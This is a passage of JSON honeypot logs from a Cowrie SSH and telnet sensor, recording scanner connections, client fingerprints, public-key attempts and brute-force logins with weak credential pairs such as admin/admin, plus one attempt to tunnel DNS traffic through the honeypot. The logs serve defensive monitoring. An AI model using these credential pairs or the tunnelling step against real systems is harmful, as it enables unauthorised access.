sa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:51.488982Z","src_ip":"103.15.226.202","session":"7209e4873650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eversec","message":"login attempt [root/eversec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:52.217064Z","src_ip":"103.15.226.202","session":"7209e4873650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:53.462266Z","src_ip":"103.15.226.202","session":"7209e4873650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.99199652671814,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:45:59.815289Z","src_ip":"128.199.8.54","session":"7e0e051667ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41486,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ecd6e6d4849","protocol":"ssh","message":"New connection: 2.57.122.208:41486 (159.203.135.109:22) [session: 4ecd6e6d4849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:10.648384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:10.723090Z","src_ip":"2.57.122.208","session":"4ecd6e6d4849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:10.826860Z","src_ip":"2.57.122.208","session":"4ecd6e6d4849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:11.839438Z","src_ip":"2.57.122.208","session":"4ecd6e6d4849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:13.121196Z","src_ip":"2.57.122.208","session":"4ecd6e6d4849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59402,"dst_ip":"159.203.135.109","dst_port":23,"session":"18c892bac16a","protocol":"telnet","message":"New connection: 128.199.8.54:59402 (159.203.135.109:23) [session: 18c892bac16a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:22.653461Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":46908,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbbfc6d6df01","protocol":"ssh","message":"New connection: 122.168.194.41:46908 (159.203.135.109:22) [session: bbbfc6d6df01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:25.986385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:25.991426Z","src_ip":"122.168.194.41","session":"bbbfc6d6df01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:26.269058Z","src_ip":"122.168.194.41","session":"bbbfc6d6df01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:27.387764Z","src_ip":"122.168.194.41","session":"bbbfc6d6df01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:28.664942Z","src_ip":"122.168.194.41","session":"bbbfc6d6df01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55136,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca0c73deba79","protocol":"telnet","message":"New connection: 128.199.8.54:55136 (159.203.135.109:23) [session: ca0c73deba79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:34.969597Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":53528,"dst_ip":"10.17.0.5","dst_port":22,"session":"204a0b6b2d29","protocol":"ssh","message":"New connection: 87.251.64.176:53528 (10.17.0.5:22) [session: 204a0b6b2d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:44.883315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:44.888751Z","src_ip":"87.251.64.176","session":"204a0b6b2d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:44.990259Z","src_ip":"87.251.64.176","session":"204a0b6b2d29","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:45.278899Z","src_ip":"87.251.64.176","session":"204a0b6b2d29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:45.379428Z","session":"204a0b6b2d29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:45.477025Z","src_ip":"87.251.64.176","session":"204a0b6b2d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:45.575731Z","src_ip":"87.251.64.176","session":"204a0b6b2d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":36143,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1566d804e19","protocol":"telnet","message":"New connection: 212.55.149.117:36143 (10.17.0.5:23) [session: f1566d804e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:52.408538Z"}
{"eventid":"cowrie.session.closed","duration":33.500423192977905,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:46:56.153769Z","src_ip":"128.199.8.54","session":"18c892bac16a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":48002,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a0fff98d3d0","protocol":"ssh","message":"New connection: 45.148.10.121:48002 (10.17.0.5:22) [session: 4a0fff98d3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:07.904526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:07.932456Z","src_ip":"45.148.10.121","session":"4a0fff98d3d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:07.992380Z","src_ip":"45.148.10.121","session":"4a0fff98d3d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.78223252296448,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:09.751692Z","src_ip":"128.199.8.54","session":"ca0c73deba79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":45042,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8223aa27025","protocol":"ssh","message":"New connection: 122.168.194.41:45042 (159.203.135.109:22) [session: d8223aa27025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:24.447814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:24.453042Z","src_ip":"122.168.194.41","session":"d8223aa27025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:24.729392Z","src_ip":"122.168.194.41","session":"d8223aa27025","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"User","message":"login attempt [user/User] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:25.862473Z","src_ip":"122.168.194.41","session":"d8223aa27025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.59.76","src_port":32978,"dst_ip":"10.17.0.5","dst_port":22,"session":"68be1b66836e","protocol":"ssh","message":"New connection: 64.227.59.76:32978 (10.17.0.5:22) [session: 68be1b66836e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:26.290870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:26.295179Z","src_ip":"64.227.59.76","session":"68be1b66836e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:26.368075Z","src_ip":"64.227.59.76","session":"68be1b66836e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:9b:cb:00:c8:d3:fc:c0:a5:24:17:29:6f:6c:9d:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyFIipMYWyoalHBfw3+N5YxaEZ1lcBBRi06cxGo9/Pe/0DdcHkSiC9+We5M69R1YRuqYApP2VVotQOiDidPVAYEWeiusn1Cjd3eM7qDIRBduba8qdpe8gRD9H3bsDhrMdweltuYIhWJIwQv+w0pPt8TdH0FWyg+Rty3aMWMXr237PDgE5jyuvV6NaHyHHHLBxIbXwQyVd9RlqdQfcA8YviBipV/C9rTwdkpFaMI3paTA9XMxh59CFFU3xN4v41IzOAVZEiqe4sSE6WGEgboCzNsELdsTE0TeM1LekPqGfKgMEdhtX1bmr/Mfe7eSiYsZWkx5U24cVYxkhx5BL6Y7hv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:9b:cb:00:c8:d3:fc:c0:a5:24:17:29:6f:6c:9d:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:26.708348Z","src_ip":"64.227.59.76","session":"68be1b66836e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:9b:cb:00:c8:d3:fc:c0:a5:24:17:29:6f:6c:9d:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyFIipMYWyoalHBfw3+N5YxaEZ1lcBBRi06cxGo9/Pe/0DdcHkSiC9+We5M69R1YRuqYApP2VVotQOiDidPVAYEWeiusn1Cjd3eM7qDIRBduba8qdpe8gRD9H3bsDhrMdweltuYIhWJIwQv+w0pPt8TdH0FWyg+Rty3aMWMXr237PDgE5jyuvV6NaHyHHHLBxIbXwQyVd9RlqdQfcA8YviBipV/C9rTwdkpFaMI3paTA9XMxh59CFFU3xN4v41IzOAVZEiqe4sSE6WGEgboCzNsELdsTE0TeM1LekPqGfKgMEdhtX1bmr/Mfe7eSiYsZWkx5U24cVYxkhx5BL6Y7hv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:26.710898Z","src_ip":"64.227.59.76","session":"68be1b66836e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:21:e1:f1:93:40:63:ba:fa:ae:c2:c6:ae:08:61:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDK9CHrybcQFNokUzqPDxLsQejAfQvFl166ApQLJ3WQCMesqJ6oTt3RIZ2mbpKIblYI813cG1GQZO9sPWRnv8cH9QVQsgxjZHvXue5iQDdqfHXDtS+1yo6B9DtnbfcrkhSdn4Fe4+SJHZqxKwFNTV6demNx/bMspMG9K9dArFdfYlQMnWY1CK53Nt7EmYqKQ2bbvzs8TOjc9VKPl2pEMAmKhH9xlYEpF+Szun/JFeWHUuRdUR4SQPX7zeMSwE9gWjxJIUH8tPtxENtRDpPioBeC8lCid19VLAPk532NDELRDvjVpDCpbpuV2VGEyINTLD9VVhWYA/hENl9vCOGyQWT7Cj2JT5yHbLqTD6pWfaICWoGU7ZdQU+pPo6rC7m9/GbuHPrPE//yZe/KV2urPRGUs4xnw3rz7ADtlKMKRyDkQ62jpM+chNwpA6gSxKApyFwsNyKaJATvcy6U792tNpSKK2CsfEHMJN3tigOpmonEb0qE2+rC4sXnCqjbVklhajFxatPAbfrXvCXA57+mH5lDdP/7wChbJOZDaCXUuSmNewqio4pNeMIfcdbaGm2AwUPiBgYKVvw2DqFIzf0Iwl1XtmETyeJ7ki/c/KZy6/A1olW7kUsjp4136X4b3OINhiYYN8uPvVCalORVOiNdHCQbL6d+CDZh0r280fR3l6pzUiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:21:e1:f1:93:40:63:ba:fa:ae:c2:c6:ae:08:61:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:26.785887Z","src_ip":"64.227.59.76","session":"68be1b66836e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:21:e1:f1:93:40:63:ba:fa:ae:c2:c6:ae:08:61:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDK9CHrybcQFNokUzqPDxLsQejAfQvFl166ApQLJ3WQCMesqJ6oTt3RIZ2mbpKIblYI813cG1GQZO9sPWRnv8cH9QVQsgxjZHvXue5iQDdqfHXDtS+1yo6B9DtnbfcrkhSdn4Fe4+SJHZqxKwFNTV6demNx/bMspMG9K9dArFdfYlQMnWY1CK53Nt7EmYqKQ2bbvzs8TOjc9VKPl2pEMAmKhH9xlYEpF+Szun/JFeWHUuRdUR4SQPX7zeMSwE9gWjxJIUH8tPtxENtRDpPioBeC8lCid19VLAPk532NDELRDvjVpDCpbpuV2VGEyINTLD9VVhWYA/hENl9vCOGyQWT7Cj2JT5yHbLqTD6pWfaICWoGU7ZdQU+pPo6rC7m9/GbuHPrPE//yZe/KV2urPRGUs4xnw3rz7ADtlKMKRyDkQ62jpM+chNwpA6gSxKApyFwsNyKaJATvcy6U792tNpSKK2CsfEHMJN3tigOpmonEb0qE2+rC4sXnCqjbVklhajFxatPAbfrXvCXA57+mH5lDdP/7wChbJOZDaCXUuSmNewqio4pNeMIfcdbaGm2AwUPiBgYKVvw2DqFIzf0Iwl1XtmETyeJ7ki/c/KZy6/A1olW7kUsjp4136X4b3OINhiYYN8uPvVCalORVOiNdHCQbL6d+CDZh0r280fR3l6pzUiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:26.789454Z","src_ip":"64.227.59.76","session":"68be1b66836e","protocol":"ssh"}
